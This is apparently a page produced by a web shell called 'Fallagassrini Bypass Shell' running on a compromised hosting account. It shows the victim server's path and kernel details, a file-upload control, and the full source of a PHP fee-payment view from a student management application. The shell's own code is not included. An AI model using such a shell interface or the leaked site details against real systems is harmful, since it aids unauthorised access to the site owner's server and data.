? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec_old/application/views/student/edit_fee.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_fee_posted','view_fee_posted','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Update Fee Payment</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_fee/view_fee_posted/1', $attributes);
$course_last_paid=0;
$registration_last_paid=0;
$extra_last_paid=0;
$books_last_paid = 0;
foreach ($fee_paid_details as $value) {
    if($value['fee_type']=="course")
        $course_last_paid=$value['amount_paid'];
    if($value['fee_type']=="registration")
        $registration_last_paid=$value['amount_paid'];
    if($value['fee_type']=="extraclass")
        $extra_last_paid=$value['amount_paid'];
    if ($value['fee_type'] == "books")
        $books_last_paid = $value['amount_paid'];
}
?>
<div class="clean"></div> 
<div style="width: 500px;margin: 0 auto;">
    <div class="grid_6" style="width: 100%">
        <div class="box">
            <div class="header main no-icon">                   
                Student Details
            </div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Student</label>
                    <div>
                        <input readonly="readonly" type="text" name="student" id="student"  value='<?= $student->first_name . $student->last_name ?>' class="required" onchange="empty_text('batch,#batch_id,#student,#student_id,#course_fee,#session_amount,#no_sessions,#pending_amount,#paid_amount')" />
                        <input readonly="readonly" type="hidden" name="student_id" id="student_id" value="<?= $student->student_id ?>" /> 
                    </div>
                </div>
                
                <div class="section _100" >
                    <label>Student No</label>           
                    <div  id="reg_no" class="single_page">
                      <?=  $student->reg_no ?>
                    </div> 
                </div>
                <div class="section _100" >
                    <label>Gender</label>           
                    <div  id="gender" class="single_page">
                             <?=  $student->gender ?>
                    </div> 
                </div> 
                <div class="section _100" >
                    <label>Nationality</label>           
                    <div  id="nationality" class="single_page">
                         <?=  $student->nationality ?>
                    </div> 
                </div> 
               
            
                <div class="section _100">
                    <label>Batch</label>
                    <div>                    
                        <input readonly="readonly"  type="text" name="batch" id="batch"  value='<?= $batch_details->batch_no ?>' class="required" readonly="readonly" onchange="empty_text('batch,#batch_id,#course_fee,#session_amount,#no_sessions,#pending_amount,#paid_amount')"placeholder="Select Student First"/>                   
                        <input readonly="readonly"  type="hidden" name="batch_id" id="batch_id" value="<?= $viewinfo->current_batch_id ?>" />  
                    </div>
                </div>     
            </div>
            <input type="hidden" name="student_batch_id" id="student_batch_id" value="<?= $viewinfo->student_batch_id ?>"/>
        </div>
    </div>
</div>

<div class="grid_6">
    <div class="box">
        <div class="header  main no-icon">                   
            Fee Payment
        </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Receipt No</label>
                <div>                    
                    <input type="text" value="<?=$viewinfo->fee_receipt_no?>" name="" id="" class="" readonly="readonly" placeholder="--Auto Generated--"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Date</label>
                <div>                    
                    <input type="text" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->fee_date)?>" name="fee_date" id="fee_date" class="required calfocus" />  
                </div>
            </div>
            <div class="section _100">
                <label>Course Fee</label>
                <div>                    
                    <input type="text" value="<?=$course_last_paid?>" name="course_amount" id="course_amount"  class="number auto" onchange="checkAmountPending(this,'pending_amount')"/>
                </div>
            </div>
            <div class="section _100">
                <label>Registration Fee</label>
                <div>                    
                    <input type="text" value="<?=$registration_last_paid?>" name="reg_amount" id="reg_amount"  class="number auto" onchange="checkAmountPending(this,'reg_fee_pending')"/>
                </div>
            </div>
            <div class="section _100">
                <label>Extra Class Fee</label>
                <div>                    
                    <input type="text" value="<?=$extra_last_paid ?>" name="extra_amount" id="extra_amount"  class="number auto" onchange="checkAmountPending(this,'extra_fee_pending')"/>
                </div>
            </div>
             <div class="section _100">
                <label>Books Fee</label>
                <div>                    
                    <input type="text" value="<?=$books_last_paid ?>" name="book_amount" id="book_amount"  class="number auto" onchange="checkAmountPending(this,'books_fee_pending')"/>
                </div>
            </div>
            
            <div class="section _100">
                <label>Payment Mode</label>
                <div>                                          
                    <select name="payment_mode" id="payment_mode" class="required  chzn-done" onchange="select_payment_mode(this.value, 'payment_mode_div','')">
                        <?php
                        $payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
                        foreach ($payment_type as $value) {
                            echo '<option value="' . $value['payment_type_id'] . '"';
                            if ($viewinfo->payment_mode == $value['payment_type_id'])
                                echo "selected";echo' >' . $value["payment_type"] . '</option>';
                        }
                        ?>
                    </select>
                </div>
            </div>
            <div class="section _100">
                <label>Remarks</label>
                <div>   
                    <textarea name="remarks" id="remarks" class=""><?=$viewinfo->remarks?></textarea>
                </div>
            </div>      
        </div> 
    </div> 
</div> 
<div class="grid_6">
    <div class="box">
        <div class="header  main no-icon">                   
            Course Fee Details
        </div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Registration Fee</label>
                <div class="single_page">
                    <?=$reg_fee?>
                    <input  value="<?=$reg_fee?>" type="hidden" name="reg_fee" id="reg_fee" class=" f_left auto" readonly="readonly"/>
                </div>
            </div>
            <div class="section _100">
                <label>Registration Fee Pending</label>
                <div class="single_page">   
                    <?=$reg_fee-$reg_paid_amount?>                    
                    <input type="hidden" value="<?=$reg_fee-$reg_paid_amount+$registration_last_paid?>" name="reg_fee_pending" id="reg_fee_pending" class=" f_left auto" readonly="readonly"/>
                </div>
            </div>
            <div class="section _100">
                <label>Course Fee</label>
                <div class="single_page">          
                    <?=$course_fee?>
                    <input type="hidden" name="course_fee" id="course_fee" class=" f_left auto" readonly="readonly"/>
                </div>
            </div>
            <div class="section _100">
                <label>Paid Amount</label>
                <div class="single_page"> 
                    <?=$paid_amount?>
                    <input type="hidden" value="<?=$paid_amount?>" name="paid_amount" id="paid_amount" class=" f_left auto" readonly="readonly"/>
                </div>
            </div>
            <div class="section _100">
                <label>Amount Pending</label>
                <div class="single_page"> 
                    <?=$course_fee-$paid_amount?>
                    <input type="hidden" value="<?=$course_fee-$paid_amount+$course_last_paid?>" name="pending_amount" id="pending_amount" class=" f_left" readonly="readonly"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Extra Class Fee</label>
                <div class="single_page"> 
                    <?php if($extra_class_fee!=null) echo $extra_class_fee; else echo '0'; ?>
                    <input type="hidden" value="<?php if($extra_class_fee!=null) echo $extra_class_fee; else echo '0'; ?>" name="extra_fee" id="extra_fee" class=" f_left" readonly="readonly"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Extra Class Fee Pending</label>
                <div class="single_page"> 
                    <?=$extra_class_fee-$extra_last_paid?>
                    
                    <input type="hidden" value="<?=$extra_class_fee-$extra_class_fee_paid+$extra_last_paid?>" name="extra_fee_pending" id="extra_fee_pending" class=" f_left" readonly="readonly"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Books Fee</label>
                <div class="single_page"> 
                    <?=$books_fee?>
                </div>
            </div>
            <div class="section _100">
                <label>Books  Fee Pending</label>
                <div class="single_page"> 
                    <?=$books_fee-$books_paid_amount?>
                    <input type="hidden" value="<?=$books_fee-$books_paid_amount?>" name="books_fee_pending" id="books_fee_pending" class=" f_left" readonly="readonly"/>  
                </div>
                
            </div>
            <div class="section _100">
                <label>No of sessions</label>
                <div class="single_page">          
                    <?=$no_sessions?>
                    <input type="hidden" value="<?=$no_sessions?>" name="no_sessions" id="no_sessions" class=" f_left" readonly="readonly"/>  
                </div>
            </div>
            <div class="section _100">
                <label>Monthly Payments</label>
                <div class="single_page"> 
                    <?=$session_amount?>
                    <input type="hidden" value="<?=$session_amount?>" name="session_amount" id="session_amount" class=" f_left" readonly="readonly"/>  
                </div>
            </div>

        </div>
    </div>
</div>
<div class="grid_12">
    <div class="box" id='payment_mode_div'>
        <?php
        if ($viewinfo->payment_mode == 2) {
            $cheque = $this->mastermodel->get_data_srow('fee_cheque_info', $viewinfo->fee_id, 'fee_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">
                    <tr>
                        <th>Cheque Date</th>
                        <th>Cheque No</th>
                        <th>Cheque Info</th>
                    </tr>
                    <tr>
                        <td>
                            <input class="w_90 required" type="dateonly" name="cheque_date" id="cheque_date" value="<?= $this->mastermodel->convertdatenormalformat($cheque->cheque_date) ?>"/>
                        </td>
                        <td>
                            <input class="w_90 required num_only" type="text" name="cheque_no" id="cheque_no" value="<?= $cheque->cheque_no ?>"/>
                        </td>
                        <td>
                            <textarea class=" required"  name="cheque_info" id="cheque_info"><?= $cheque->cheque_info ?></textarea>
                        </td>
                    </tr>
                </table>
            </div>
            <?php
        } else if ($viewinfo->payment_mode == 3) {
            $wire_info = $this->mastermodel->get_data_srow('fee_wire_info', $viewinfo->fee_id, 'fee_id');
            ?>
            <div class="content no-padding">  
                <div class="header main">  Payment Details</div>            
                <table class="table">        
                    <tr>
                        <th>Wire Info</th>  
                        <td>
                            <input class="w_90 required" type="text" name="wire_info" id="wire_info" style="width:250px;" value="<?= $wire_info->wire_info ?>"/>
                        </td>

                    </tr>
                </table>
            </div>
            <?php
        }
        ?>
    </div>
</div>
<div class="grid_12">
    <div class="box">
        <div class="content no-padding">
            <div class="actions">
                <div class="actions-left">
                    <input type="reset">
                    <input type="hidden" name="resfunction" value="search_fee_payment"/>
                    <input type="hidden" name="fee_id" value="<?= $viewinfo->fee_id ?>" id="fee_id"/>
                    <input type="hidden" name="table" value="fee"/>
                </div>
                <div class="actions-right">
                    <button style="margin-left: 130px;" type="submit" id="submit" class="clickimage" onclick="checkdatavalidity($('input#student_id').val(), '#student,#student_id', 'No existing student selected');
                        checkdatavalidity($('input#batch_id').val(), '#batch,#batch_id', 'No existing Batch selected');addformdata('validateform')">Save</button>
                </div>
            </div> 
        </div>
    </div>
</div>
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net